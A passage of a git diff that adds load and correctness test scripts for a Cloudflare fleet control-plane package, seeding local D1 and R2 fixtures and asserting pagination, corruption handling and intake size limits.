+  const object = await env.EXPORTS.get(key);
+  if (!object) throw new Error('packed R2 object absent', { cause: error });
+  const stored = await object.bytes();
+  const original = bytes();
+  const readback = await integrity(stored);
+  const listing = await env.EXPORTS.list({
+    prefix:
+      action === 'r2-write'
+        ? `proof/${DATABASE_ID}/`
+        : `proof/receipts/v1/${DATABASE_ID}/`,
+  });
+  return {
+    result,
+    error,
+    expected,
+    readback,
+    size: object.size,
+    bytesEqual:
+      stored.length === original.length &&
+      stored.every((byte, index) => byte === original[index]),
+    objectCount: listing.objects.length,
+    metadata: object.customMetadata,
+  };
+}
+
+export default {
+  async fetch(request: Request, env: Env): Promise<Response> {
+    const input = (await request.json()) as { action: string; token?: unknown };
+    const invocationId = crypto.randomUUID();
+    try {
+      let result: unknown;
+      if (input.action === 'quota') result = await quota(env);
+      else if (input.action === 'queue-live' || input.action === 'queue-stale')
+        result = await queuedAuthority(env, input.action === 'queue-stale');
+      else if (input.action === 'lease-winner')
+        result = await leaseWinner(env, invocationId);
+      else if (
+        input.action === 'r2-write' ||
+        input.action === 'receipt' ||
+        input.action === 'receipt-mismatch'
+      )
+        result = await r2(env, input.action);
+      else {
+        const inert = await provider(env, invocationId);
+        const control = plane(env, transport(inert.respond));
+        if (input.action === 'schema') {
+          const db = new D1FleetStateDatabase(env.FLEET_DB);
+          await db.execute(
+            'CREATE TABLE packed_adapter (id INTEGER PRIMARY KEY, value TEXT NOT NULL)',
+          );
+          const batch = await db.batch([
+            {
+              sql: 'INSERT INTO packed_adapter (value) VALUES (?) RETURNING value',
+              bindings: ['native-d1'],
+            },
+          ]);
+          const records = await Promise.all([
+            control.getDeployment('packedlife', 'production'),
+            plane(env, transport(inert.respond)).getDeployment(
+              'packedlife',
+              'production',
+            ),
+          ]);
+          result = {
+            batch,
+            rows: await db.query('SELECT value FROM packed_adapter'),
+            records,
+            requests: inert.count(),
+          };
+        } else if (input.action === 'cleanup') {
+          let outcome:
+            | Awaited<ReturnType<typeof control.advanceCleanupDeployment>>
+            | undefined;
+          let error: unknown;
+          try {
+            outcome = await control.advanceCleanupDeployment({
+              spec: spec(),
+              action: { kind: 'continue', token: input.token },
+              maxProviderRequests: 9,
+            });
+          } catch (reason) {
+            error = errorInfo(reason);
+          }
+          result = {
+            outcome,
+            error,
+            record: await control.getDeployment('packedlife', 'production'),
+            requests: inert.count(),
+            databases: (
+              await env.FIXTURE_DB.prepare(
+                'SELECT id FROM packed_provider_databases',
+              ).all()
+            ).results,
+          };
+        } else throw new Error(`unexpected packed action ${input.action}`);
+      }
+      return Response.json({ invocationId, result });
+    } catch (error) {
+      return Response.json(
+        { invocationId, error: errorInfo(error) },
+        { status: 500 },
+      );
+    }
+  },
+};
diff --git a/packages/fleet-control/scripts/control-plane-packed-workload.mjs b/packages/fleet-control/scripts/control-plane-packed-workload.mjs
new file mode 100644
index 00000000..ad217b48
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-workload.mjs
@@ -0,0 +1,372 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import { execFileSync } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import { copyFile, realpath, writeFile } from 'node:fs/promises';
+import { createRequire } from 'node:module';
+import { isAbsolute, join, relative } from 'node:path';
+import { createTestHarness } from 'wrangler';
+
+const FINDING = {
+  tenantTag: 'unknown',
+  environment: 'unknown',
+  kind: 'stale-route',
+  detail: 'packed workload observation',
+};
+
+function expectedDigest(count) {
+  const hash = createHash('sha256');
+  for (let index = 0; index < count; index += 1)
+    hash.update(
+      `workload${index}\0workload-${index}\0database-${index}\0namespace-${index}\n`,
+    );
+  return hash.digest('hex');
+}
+
+export async function verifyControlPlanePackedWorkload({
+  consumerDirectory,
+  packageRoot,
+}) {
+  const fixture = join(consumerDirectory, 'control-plane-packed-workload.ts');
+  await copyFile(
+    join(packageRoot, 'scripts/control-plane-packed-workload.ts'),
+    fixture,
+  );
+  const require = createRequire(join(consumerDirectory, 'package.json'));
+  const entry = await realpath(
+    require.resolve('@proofoftech/fleet-control/cloudflare-control-plane'),
+  );
+  const relativeEntry = relative(await realpath(consumerDirectory), entry);
+  assert.ok(
+    !relativeEntry.startsWith('..') && !isAbsolute(relativeEntry),
+    'workload entry must resolve inside the installed consumer',
+  );
+  await writeFile(
+    join(consumerDirectory, 'tsconfig.worker-workload.json'),
+    JSON.stringify(
+      {
+        compilerOptions: {
+          target: 'ES2022',
+          lib: ['ES2022'],
+          module: 'NodeNext',
+          moduleResolution: 'NodeNext',
+          strict: true,
+          noEmit: true,
+          skipLibCheck: false,
+          types: ['@cloudflare/workers-types'],
+        },
+        files: ['control-plane-packed-workload.ts'],
+      },
+      null,
+      2,
+    ),
+  );
+  execFileSync(
+    join(packageRoot, 'node_modules/.bin/tsc'),
+    ['-p', 'tsconfig.worker-workload.json'],
+    { cwd: consumerDirectory, stdio: 'inherit' },
+  );
+  const server = createTestHarness({
+    root: consumerDirectory,
+    workers: [
+      {
+        config: {
+          name: 'fleet-control-packed-workload',
+          main: fixture,
+          compatibility_date: '2026-08-06',
+          d1_databases: ['FLEET_DB', 'QUOTA_DB'].map((binding, index) => ({
+            binding,
+            database_name: `workload-${binding.toLowerCase()}`,
+            database_id: `00000000-0000-4000-8000-${String(index + 1).padStart(12, '0')}`,
+          })),
+          r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'workload-exports' }],
+        },
+      },
+    ],
+  });
+  const invocations = new Set();
+  const evidence = {
+    entry: relativeEntry,
+    compatibilityDate: '2026-08-06',
+    compatibilityFlags: [],
+    concurrency: 1,
+    measurement: {
+      elapsed:
+        'local end-to-end wall time; includes native D1 and response transport',
+      cpuMs: null,
+      peakIsolateBytes: null,
+      unavailableReason:
+        'Wrangler TestHarness exposes runtime logs but no public isolate heap or CPU counter',
+      limits:
+        'Local success does not establish enforcement of Cloudflare CPU, memory or query limits',
+      providerScope:
+        'Materialization workload: current records exit audit before provider inspection; earlier large-profile ownership facts are seeded observations',
+      d1Rows:
+        'Returned operation rows include native lookahead rows; metadata is reported as supplied by local D1',
+      d1Scope:
+        'Counters cover the factory Fleet binding, excluding fixture setup/readback; binding calls and contained SQL statements are distinct. Production query-budget interpretation is unverified.',
+    },
+    profiles: {},
+  };
+  try {
+    await server.listen();
+    const worker = server.getWorker();
+    async function probe(profile, action, extra = {}, acceptError = false) {
+      const started = performance.now();
+      const response = await worker.fetch('/packed-workload', {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({ profile, action, ...extra }),
+        signal: AbortSignal.timeout(120000),
+      });
+      const body = await response.json();
+      const elapsedMs = performance.now() - started;
+      assert.equal(invocations.has(body.invocationId), false);
+      invocations.add(body.invocationId);
+      if (!acceptError)
+        assert.equal(response.status, 200, JSON.stringify(body));
+      if (body.providerRequests !== undefined)
+        assert.equal(body.providerRequests, 0);
+      return { ...body, status: response.status, elapsedMs };
+    }
+    async function seed(profile, count) {
+      let offset = 0;
+      let summary;
+      for (let calls = 0; calls < Math.ceil(count / 100); calls += 1) {
+        const response = await probe(profile, 'seed-generation', { offset });
+        assert.ok(response.result.next > offset);
+        offset = response.result.next;
+        assert.equal(response.result.done, offset === count);
+        if (response.result.done) summary = response.result.summary;
+      }
+      assert.equal(offset, count);
+      assert.ok(summary);
+      assert.equal(summary.factCount, count * 4);
+      assert.ok(summary.payloads.payloadBytes > 0);
+      assert.ok(summary.payloads.maximumPayloadBytes <= 16 * 1024);
+      return summary;
+    }
+    async function read(profile, count, routes) {
+      const response = await probe(profile, 'read');
+      assert.deepEqual(response.result, {
+        deployments: count,
+        databases: count,
+        namespaces: count,
+        routes,
+        findings: [FINDING],
+        identityDigest: expectedDigest(count),
+      });
+      assert.equal(response.metrics.inventoryFacts, count * 4);
+      assert.equal(response.metrics.inventoryRows, count * 4 + routes + 1);
+      return response;
+    }
+    async function start(profile, extra = {}, acceptError = false) {
+      const response = await probe(profile, 'start', extra, acceptError);
+      if (response.status === 200) {
+        assert.equal(response.result.outcome.status, 'pending');
+        assert.equal(response.result.pins, 1);
+        assert.equal(
+          response.result.run.progress.revision,
+          response.result.outcome.token.revision,
+        );
+      }
+      return response;
+    }
+    async function abandon(profile, state = 'failed') {
+      const response = await probe(profile, 'abandon');
+      assert.equal(response.result.pins, 0);
+      assert.equal(response.result.run.state, state);
+      return response;
+    }
+    const profile = 'representative';
+    const seeded = await seed(profile, 32);
+    const bulk = await read(profile, 32, 0);
+    const begun = await start(profile);
+    let outcome = begun.result.outcome;
+    let calls = 0;
+    let maximumWallMs = 0;
+    while (outcome.status === 'pending' && calls < 80) {
+      const advanced = await probe(profile, 'continue', {
+        token: outcome.token,
+      });
+      assert.equal(
+        advanced.result.run.progress.revision,
+        advanced.result.outcome.token.revision,
+      );
+      assert.ok(
+        advanced.result.outcome.token.revision > outcome.token.revision,
+      );
+      maximumWallMs = Math.max(maximumWallMs, advanced.elapsedMs);
+      outcome = advanced.result.outcome;
+      calls += 1;
+    }
+    assert.equal(outcome.status, 'complete');
+    assert.equal(outcome.result.recordCount, 32);
+    assert.equal(outcome.result.findingCount, 1);
+    const findings = await probe(profile, 'findings');
+    assert.deepEqual(findings.result.page.findings, [FINDING]);
+    assert.equal(findings.result.page.done, true);
+    assert.equal(findings.result.pins, 1);
+    const released = await abandon(profile, 'finalized');
+    evidence.profiles[profile] = {
+      seed: seeded,
+      bulk,
+      start: begun,
+      continuationFetches: calls,
+      maximumWallMs,
+      result: outcome.result,
+      abandonment: released,
+    };
+
+    for (const [name, count] of [
+      ['page-boundary', 1001],
+      ['record-ceiling', 10000],
+    ]) {
+      const measured = {
+        count,
+        checkpoint:
+          'real start; prior findings/facts and late cursor seeded directly in native D1',
+      };
+      evidence.profiles[name] = measured;
+      measured.seed = await seed(name, count);
+      measured.bulk = await read(name, count, count - 1);
+      measured.start = await start(name);
+      assert.equal(measured.start.result.intake.count, count);
+      let offset = 0;
+      let token;
+      for (let calls = 0; calls < Math.ceil((count - 1) / 100); calls += 1) {
+        const response = await probe(name, 'seed-facts', { offset });
+        assert.ok(response.result.next > offset);
+        offset = response.result.next;
+        if (response.result.done) token = response.result.token;
+      }
+      assert.equal(offset, count - 1);
+      assert.ok(token);
+      const advanced = await probe(name, 'continue', { token });
+      assert.equal(advanced.result.outcome.status, 'pending');
+      assert.deepEqual(advanced.result.outcome.stage, {
+        step: 'per-record',
+        recordOrdinal: count,
+      });
+      assert.deepEqual(
+        advanced.result.run.progress.stage,
+        advanced.result.outcome.stage,
+      );
+      assert.equal(advanced.result.run.state, 'running');
+      assert.equal(advanced.result.pins, 1);
+      assert.equal(advanced.result.outcome.token.revision, token.revision + 1);
+      assert.equal(
+        advanced.result.run.progress.revision,
+        advanced.result.outcome.token.revision,
+      );
+      assert.equal(advanced.metrics.recordPages, Math.ceil(count / 1000));
+      assert.equal(
+        advanced.metrics.recordRows,
+        count + Math.ceil(count / 1000) - 1,
+      );
+      const facts = 2 * (count - 1);
+      assert.equal(advanced.metrics.factPages, Math.ceil(facts / 1000));
+      assert.equal(
+        advanced.metrics.factRows,
+        facts + Math.ceil(facts / 1000) - 1,
+      );
+      assert.equal(advanced.metrics.inventoryFacts, count * 4);
+      const stale = await probe(name, 'continue', { token });
+      assert.deepEqual(
+        stale.result.outcome.token,
+        advanced.result.outcome.token,
+      );
+      for (const field of [
+        'inventoryRows',
+        'inventoryFacts',
+        'recordPages',
+        'factPages',
+      ])
+        assert.equal(stale.metrics[field], 0);
+      measured.continuation = advanced;
+      measured.stale = stale;
+      measured.abandonment = await abandon(name);
+      measured.outcome = 'completed measured calls';
+    }
+
+    const corruptStart = await start('page-boundary', { variant: 2 });
+    await probe('page-boundary', 'corrupt');
+    const corruptRead = await probe('page-boundary', 'read', {}, true);
+    assert.equal(corruptRead.status, 500);
+    assert.match(corruptRead.error.message, /corrupt|manifest/);
+    const corruptAudit = await probe('page-boundary', 'continue', {
+      variant: 2,
+      token: corruptStart.result.outcome.token,
+    });
+    assert.equal(corruptAudit.result.outcome.status, 'failed');
+    assert.equal(
+      corruptAudit.result.outcome.failure.reason,
+      'generation-unavailable',
+    );
+    assert.equal(corruptAudit.result.pins, 0);
+    evidence.corruption = { bulk: corruptRead, audit: corruptAudit };
+
+    const bytesProfile = 'intake-byte-boundary';
+    const byteSeed = await seed(bytesProfile, 200);
+    const byteBulk = await read(bytesProfile, 200, 0);
+    const over = await start(bytesProfile, { variant: 3, over: true }, true);
+    assert.equal(over.status, 500);
+    assert.match(
+      over.error.message,
+      /canonical intake exceeds the intake byte bound/,
+    );
+    const refusedState = await probe(bytesProfile, 'state', { variant: 3 });
+    assert.equal(refusedState.result.run, null);
+    assert.equal(refusedState.result.pins, 0);
+    const byteEvidence = {
+      seed: byteSeed,
+      bulk: byteBulk,
+      aboveBound: over,
+      refusedState,
+    };
+    evidence.profiles[bytesProfile] = byteEvidence;
+    const exact = await start(bytesProfile);
+    byteEvidence.start = exact;
+    assert.equal(exact.result.intake.bytes, 16 * 1024 * 1024);
+    assert.ok(exact.result.intake.maximumItemBytes < 96 * 1024);
+    byteEvidence.continuation = await probe(bytesProfile, 'continue', {
+      token: exact.result.outcome.token,
+    });
+    const byteContinuation = byteEvidence.continuation.result;
+    assert.equal(byteContinuation.outcome.status, 'pending');
+    assert.deepEqual(byteContinuation.outcome.stage, {
+      step: 'registration-orphans',
+      rowOrdinal: 0,
+    });
+    assert.deepEqual(
+      byteContinuation.run.progress.stage,
+      byteContinuation.outcome.stage,
+    );
+    assert.equal(byteContinuation.run.state, 'running');
+    assert.equal(byteContinuation.pins, 1);
+    assert.equal(
+      byteContinuation.outcome.token.revision,
+      exact.result.outcome.token.revision + 1,
+    );
+    assert.equal(
+      byteContinuation.run.progress.revision,
+      byteContinuation.outcome.token.revision,
+    );
+    byteEvidence.abandonment = await abandon(bytesProfile);
+    byteEvidence.outcome = 'completed measured calls';
+    evidence.fetchInvocations = invocations.size;
+    evidence.runtimeLogs = server.getLogs();
+    process.stdout.write(
+      `fleet-control packed conditional workloads: ${JSON.stringify(evidence)}\n`,
+    );
+    return evidence;
+  } catch (error) {
+    process.stdout.write(
+      `fleet-control packed conditional workload failure: ${JSON.stringify({ evidence, runtimeLogs: server.getLogs(), error: String(error) })}\n`,
+    );
+    throw error;
+  } finally {
+    await server.close();
+  }
+}
diff --git a/packages/fleet-control/scripts/control-plane-packed-workload.ts b/packages/fleet-control/scripts/control-plane-packed-workload.ts
new file mode 100644
index 00000000..fda5d75d
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-workload.ts
@@ -0,0 +1,699 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  Crypto,
+  D1Database,
+  D1PreparedStatement,
+  D1Result,
+  ExportedHandler,
+  R2Bucket,
+  FixedLengthStream as WorkerFixedLengthStream,
+  Response as WorkerResponse,
+} from '@cloudflare/workers-types';
+import {
+  type CloudflareDeploymentSpec,
+  createCloudflareControlPlane,
+  type FleetAuditAdvanceAction,
+  type FleetOperationToken,
+  type FleetRecord,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+
+declare const crypto: Crypto;
+declare const FixedLengthStream: typeof WorkerFixedLengthStream;
+declare const Response: typeof WorkerResponse;
+
+interface Env {
+  FLEET_DB: D1Database;
+  QUOTA_DB: D1Database;
+  EXPORTS: R2Bucket;
+}
+
+const PROFILES = {
+  representative: { count: 32, late: false, bytes: false, id: 1 },
+  'page-boundary': { count: 1001, late: true, bytes: false, id: 2 },
+  'record-ceiling': { count: 10000, late: true, bytes: false, id: 3 },
+  'intake-byte-boundary': { count: 200, late: false, bytes: true, id: 4 },
+} as const;
+type Profile = keyof typeof PROFILES;
+const NOW = Date.parse('2026-09-09T00:00:00.000Z');
+const FINDING = {
+  tenantTag: 'unknown',
+  environment: 'unknown',
+  kind: 'stale-route',
+  detail: 'packed workload observation',
+};
+const OPTIONS = {
+  databaseNamePrefix: 'workload-',
+  scriptNamePrefix: 'workload-',
+  includeDispatchNamespace: false,
+  includeR2Buckets: false,
+};
+const ROW_KINDS = [
+  'registration',
+  'deployment',
+  'finding',
+  'database-id',
+  'namespace-id',
+  'r2-bucket',
+  'route',
+  'dispatch-script',
+  'meta',
+] as const;
+const encoder = new TextEncoder();
+
+function operationId(profile: Profile, variant = 0): string {
+  return `11111111-1111-4111-8111-${String(PROFILES[profile].id * 10 + variant).padStart(12, '0')}`;
+}
+
+function record(profile: Profile, index: number): FleetRecord {
+  const tenantTag = `workload${index}`;
+  return {
+    tenantTag,
+    environment: 'production',
+    backend: 'plain-worker',
+    scriptName: `workload-${index}`,
+    databaseName: `workload-db-${index}`,
+    databaseId: `database-${index}`,
+    schemaVersion: 1,
+    artifactVersion: 'v1',
+    desiredSpecDigest: 'a'.repeat(64),
+    durableObjectBindings: [
+      {
+        name: 'RUNNER',
+        className: 'Runner',
+        namespaceId: `namespace-${index}`,
+      },
+    ],
+    routeHostname: `${tenantTag}.example.test`,
+    phase:
+      PROFILES[profile].late && index < PROFILES[profile].count - 1
+        ? 'ready'
+        : 'worker-deployed',
+    updatedAt: new Date(NOW).toISOString(),
+  };
+}
+
+function specFor(value: FleetRecord): CloudflareDeploymentSpec {
+  return {
+    tenantTag: value.tenantTag,
+    environment: value.environment,
+    scriptName: value.scriptName,
+    databaseName: value.databaseName,
+    authoredBy: 'platform',
+    compatibilityDate: '2026-08-06',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    schemaVersion: 1,
+    migrations: [],
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: 'https://workload.example.test',
+    routeHostname: value.routeHostname,
+  };
+}
+
+function intake(
+  profile: Profile,
+  extraByte: boolean,
+  count: number = PROFILES[profile].count,
+) {
+  const records = Array.from({ length: count }, (_, index) =>
+    record(profile, index),
+  );
+  if (PROFILES[profile].bytes) {
+    const target = 16 * 1024 * 1024 + Number(extraByte);
+    const share = Math.floor(target / records.length);
+    for (const [index, item] of records.entries()) {
+      const desired = share + Number(index < target % records.length);
+      const padding: Record<string, string> = {};
+      Object.assign(item, { padding });
+      for (let key = 0; ; key += 1) {
+        const remaining =
+          desired - encoder.encode(JSON.stringify(item)).byteLength;
+        if (remaining === 0) break;
+        const name = `p${key}`;
+        const overhead = name.length + 5 + Number(key > 0);
+        if (remaining < overhead)
+          throw new Error('intake padding cannot reach target');
+        let size = Math.min(4000, remaining - overhead);
+        const tail = remaining - overhead - size;
+        if (tail > 0 && tail < `p${key + 1}`.length + 6) size -= 16;
+        padding[name] = 'x'.repeat(size);
+      }
+    }
+  }
+  const sizes = records.map(
+    (item) => encoder.encode(JSON.stringify(item)).byteLength,
+  );
+  return {
+    records,
+    bytes: sizes.reduce((sum, size) => sum + size, 0),
+    maximumItemBytes: Math.max(...sizes),
+  };
+}
+
+function observer(binding: D1Database) {
+  const metrics = {
+    calls: 0,
+    statements: 0,
+    returnedRows: 0,
+    inventoryRows: 0,
+    inventoryFacts: 0,
+    recordPages: 0,
+    recordRows: 0,
+    factPages: 0,
+    factRows: 0,
+    durationMs: 0,
+    rowsRead: 0,
+    rowsWritten: 0,
+  };
+  const native = new WeakMap<
+    D1PreparedStatement,
+    { statement: D1PreparedStatement; sql: string; bindings: unknown[] }
+  >();
+  function observe(sql: string, bindings: unknown[], result: D1Result) {
+    const count = result.results?.length ?? 0;
+    metrics.returnedRows += count;
+    metrics.durationMs += result.meta.duration ?? 0;
+    metrics.rowsRead += result.meta.rows_read ?? 0;
+    metrics.rowsWritten += result.meta.rows_written ?? 0;
+    if (
+      sql.includes(
+        'SELECT kind, ordinal, payload FROM anchorage_fleet_inventory_rows',
+      )
+    )
+      metrics.inventoryRows += count;
+    if (
+      sql.includes(
+        'SELECT deployment_ordinal, fact_kind, fact_ordinal, payload',
+      )
+    )
+      metrics.inventoryFacts += count;
+    if (
+      sql.includes(
+        'SELECT row_kind, ordinal, payload FROM anchorage_fleet_operation_rows',
+      )
+    ) {
+      if (bindings[2] === 'record') {
+        metrics.recordPages += 1;
+        metrics.recordRows += count;
+      }
+      if (bindings[2] === 'fact') {
+        metrics.factPages += 1;
+        metrics.factRows += count;
+      }
+    }
+  }
+  function wrap(
+    statement: D1PreparedStatement,
+    sql: string,
+    bindings: unknown[] = [],
+  ): D1PreparedStatement {
+    const proxy = new Proxy(statement, {
+      get(target, key) {
+        if (key === 'bind')
+          return (...values: unknown[]) =>
+            wrap(target.bind(...values), sql, values);
+        if (key === 'all' || key === 'run')
+          return async () => {
+            metrics.calls += 1;
+            metrics.statements += 1;
+            const result = await target[key]();
+            observe(sql, bindings, result);
+            return result;
+          };
+        const value = Reflect.get(target, key, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    native.set(proxy, { statement, sql, bindings });
+    return proxy;
+  }
+  const database = new Proxy(binding, {
+    get(target, key) {
+      if (key === 'prepare')
+        return (sql: string) => wrap(target.prepare(sql), sql);
+      if (key === 'batch')
+        return async (statements: D1PreparedStatement[]) => {
+          const entries = statements.map((statement) => {
+            const entry = native.get(statement);
+            if (!entry) throw new Error('unrecorded D1 statement');
+            return entry;
+          });
+          metrics.calls += 1;
+          metrics.statements += entries.length;
+          const result = await target.batch(
+            entries.map((entry) => entry.statement),
+          );
+          result.forEach((value, index) => {
+            observe(entries[index].sql, entries[index].bindings, value);
+          });
+          return result;
+        };
+      const value = Reflect.get(target, key, target);
+      return typeof value === 'function' ? value.bind(target) : value;
+    },
+  });
+  return { database, metrics };
+}
+
+function controlPlane(env: Env, profile: Profile) {
+  const observed = observer(env.FLEET_DB);
+  let providerRequests = 0;
+  const refuse = async () => {
+    providerRequests += 1;
+    throw new Error('materialization workload must not call a provider');
+  };
+  const control = createCloudflareControlPlane({
+    accountId: `workload-${profile}`,
+    apiToken: 'packed-inert-token',
+    fleetDatabase: observed.database,
+    quotaDatabase: env.QUOTA_DB,
+    quotaScope: `workload-${profile}`,
+    fetch: refuse,
+    maintenanceFetch: refuse,
+    databaseExports: {
+      bucket: env.EXPORTS,
+      bucketName: 'workload-exports',
+      streams: { DigestStream: crypto.DigestStream, FixedLengthStream },
+      randomUUID: () => crypto.randomUUID(),
+    },
+    leaseTtlMs: 120000,
+    leaseRenewalIntervalMs: 60000,
+  });
+  return {
+    control,
+    metrics: observed.metrics,
+    providerRequests: () => providerRequests,
+  };
+}
+
+async function batch(db: D1Database, statements: D1PreparedStatement[]) {
+  for (let offset = 0; offset < statements.length; offset += 100)
+    await db.batch(statements.slice(offset, offset + 100));
+}
+
+async function digest(entries: Iterable<string>): Promise<string> {
+  const stream = new crypto.DigestStream('SHA-256');
+  const writer = stream.getWriter();
+  for (const entry of entries) await writer.write(encoder.encode(entry));
+  await writer.close();
+  return Array.from(new Uint8Array(await stream.digest), (value) =>
+    value.toString(16).padStart(2, '0'),
+  ).join('');
+}
+
+async function generationRecord(
+  profile: Profile,
+  state: 'staging' | 'finalized',
+) {
+  const count = PROFILES[profile].count;
+  const counts = Object.fromEntries(ROW_KINDS.map((kind) => [kind, 0]));
+  Object.assign(counts, {
+    deployment: count * 2,
+    finding: 1,
+    'database-id': count,
+    'namespace-id': count,
+    route: PROFILES[profile].late ? count - 1 : 0,
+  });
+  return {
+    version: 1,
+    operationId: operationId(profile, 1),
+    optionsDigest: await digest([
+      JSON.stringify(
+        Object.entries(OPTIONS).sort(([a], [b]) => (a < b ? -1 : 1)),
+      ),
+    ]),
+    options: OPTIONS,
+    state,
+    updatedAt: new Date(NOW).toISOString(),
+    progress: {
+      stage: { step: 'finalize' },
+      generation: 1,
+      revision: 1,
+      stagedCounts: counts,
+      factCount: count * 4,
+      providerRequests: 0,
+    },
+  };
+}
+
+async function seedGeneration(env: Env, profile: Profile, offset: number) {
+  const account = `workload-${profile}`;
+  const db = env.FLEET_DB;
+  const count = PROFILES[profile].count;
+  if (
+    !Number.isSafeInteger(offset) ||
+    offset < 0 ||
+    offset >= count ||
+    offset % 100 !== 0
+  )
+    throw new Error('invalid seed offset');
+  if (offset === 0) {
+    const { control } = controlPlane(env, profile);
+    await control.latestFinalizedInventoryGeneration();
+    await control.pruneFleetOperations({ kind: 'audit', limit: 1 });
+    const run = await generationRecord(profile, 'staging');
+    await db.batch([
+      db
+        .prepare(
+          'INSERT INTO anchorage_fleet_inventory_heads VALUES (?, ?, NULL, 2)',
+        )
+        .bind(account, run.operationId),
+      db
+        .prepare(
+          'INSERT INTO anchorage_fleet_inventory_runs VALUES (?, ?, 1, ?, ?, ?, NULL)',
+        )
+        .bind(
+          run.operationId,
+          account,
+          run.optionsDigest,
+          JSON.stringify(run),
+          NOW,
+        ),
+      db
+        .prepare(
+          'INSERT INTO anchorage_fleet_inventory_rows VALUES (?, 1, ?, 0, ?)',
+        )
+        .bind(
+          account,
+          'finding',
+          JSON.stringify({ record: 'finding', ...FINDING }),
+        ),
+    ]);
+  }
+  const statements: D1PreparedStatement[] = [];
+  const row = (kind: string, ordinal: number, payload: unknown) =>
+    statements.push(
+      db
+        .prepare(
+          'INSERT INTO anchorage_fleet_inventory_rows VALUES (?, 1, ?, ?, ?)',
+        )
+        .bind(account, kind, ordinal, JSON.stringify(payload)),
+    );
+  for (let index = offset; index < Math.min(count, offset + 100); index += 1) {
+    const value = record(profile, index);
+    row('deployment', index, {
+      record: 'candidate-script',
+      scriptName: value.scriptName,
+    });
+    row('deployment', count + index, {
+      record: 'deployment',
+      backend: 'plain-worker',
+      scriptName: value.scriptName,
+      tenantTag: value.tenantTag,
+      environment: value.environment,
+      artifactVersion: value.artifactVersion,
+      schemaVersion: 1,
+    });
+    row('database-id', index, {
+      record: 'database-id',
+      databaseId: value.databaseId,
+    });
+    row('namespace-id', index, {
+      record: 'namespace-id',
+      namespaceId: `namespace-${index}`,
+    });
+    if (value.phase === 'ready')
+      row('route', index, {
+        record: 'route',
+        backend: 'plain-worker',
+        hostname: value.routeHostname,
+        scriptName: value.scriptName,
+        tenantTag: value.tenantTag,
+        environment: value.environment,
+      });
+    for (const [kind, payload] of [
+      ['database-id', { databaseId: value.databaseId }],
+      ['durable-object-binding', value.durableObjectBindings[0]],
+      ['secret-name', { secretName: `secret-${index}` }],
+      ['route-hostname', { hostname: value.routeHostname }],
+    ] as const)
+      statements.push(
+        db
+          .prepare(
+            'INSERT INTO anchorage_fleet_inventory_deployment_facts VALUES (?, 1, ?, ?, 0, ?)',
+          )
+          .bind(account, count + index, kind, JSON.stringify(payload)),
+      );
+  }
+  await batch(db, statements);
+  const next = Math.min(count, offset + 100);
+  if (next === count) {
+    const run = await generationRecord(profile, 'finalized');
+    const physical = await db
+      .prepare(
+        'SELECT kind, COUNT(*) AS count, MIN(ordinal) AS first, MAX(ordinal) AS last FROM anchorage_fleet_inventory_rows WHERE account_id = ? AND generation = 1 GROUP BY kind',
+      )
+      .bind(account)
+      .all<{ kind: string; count: number; first: number; last: number }>();
+    for (const kind of ROW_KINDS) {
+      const actual = physical.results.find((entry) => entry.kind === kind);
+      const expected = run.progress.stagedCounts[kind];
+      if (
+        (actual?.count ?? 0) !== expected ||
+        (expected > 0 && (actual?.first !== 0 || actual?.last !== expected - 1))
+      )
+        throw new Error('seed row manifest mismatch');
+    }
+    const factCount = await db
+      .prepare(
+        'SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1',
+      )
+      .bind(account)
+      .first<number>('count');
+    if (factCount !== run.progress.factCount)
+      throw new Error('seed fact manifest mismatch');
+    await db.batch([
+      db
+        .prepare(
+          'UPDATE anchorage_fleet_inventory_runs SET run_record = ?, finalized_at_ms = ? WHERE operation_id = ? AND account_id = ?',
+        )
+        .bind(JSON.stringify(run), NOW, run.operationId, account),
+      db
+        .prepare(
+          'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = NULL, latest_finalized_generation = 1 WHERE account_id = ?',
+        )
+        .bind(account),
+    ]);
+    const payloads = await db
+      .prepare(
+        'SELECT COUNT(*) AS entries, SUM(length(CAST(payload AS BLOB))) AS payloadBytes, MAX(length(CAST(payload AS BLOB))) AS maximumPayloadBytes FROM (SELECT payload FROM anchorage_fleet_inventory_rows WHERE account_id = ? AND generation = 1 UNION ALL SELECT payload FROM anchorage_fleet_inventory_deployment_facts WHERE account_id = ? AND generation = 1)',
+      )
+      .bind(account, account)
+      .first();
+    return {
+      next,
+      done: true,
+      summary: { rowManifest: run.progress.stagedCounts, factCount, payloads },
+    };
+  }
+  return { next, done: false };
+}
+
+async function seedPriorFacts(env: Env, profile: Profile, offset: number) {
+  const count = PROFILES[profile].count - 1;
+  if (
+    !PROFILES[profile].late ||
+    !Number.isSafeInteger(offset) ||
+    offset < 0 ||
+    offset >= count ||
+    offset % 100 !== 0
+  )
+    throw new Error('invalid fact seed offset');
+  const account = `workload-${profile}`;
+  const id = operationId(profile);
+  const statements: D1PreparedStatement[] = [];
+  for (let index = offset; index < Math.min(count, offset + 100); index += 1) {
+    const value = record(profile, index);
+    for (const [ordinal, factKind, key] of [
+      [2 * index, 'database-owner', value.databaseId],
+      [2 * index + 1, 'namespace-owner', `namespace-${index}`],
+    ] as const)
+      statements.push(
+        env.FLEET_DB.prepare(
+          'INSERT INTO anchorage_fleet_operation_rows VALUES (?, ?, ?, ?, ?)',
+        ).bind(
+          account,
+          id,
+          'fact',
+          ordinal,
+          JSON.stringify({
+            factKind,
+            key,
+            tenantTag: value.tenantTag,
+            environment: value.environment,
+          }),
+        ),
+      );
+  }
+  await batch(env.FLEET_DB, statements);
+  const next = Math.min(count, offset + 100);
+  if (next === count) {
+    const stored = await env.FLEET_DB.prepare(
+      'SELECT op_record FROM anchorage_fleet_operations WHERE account_id = ? AND operation_id = ?',
+    )
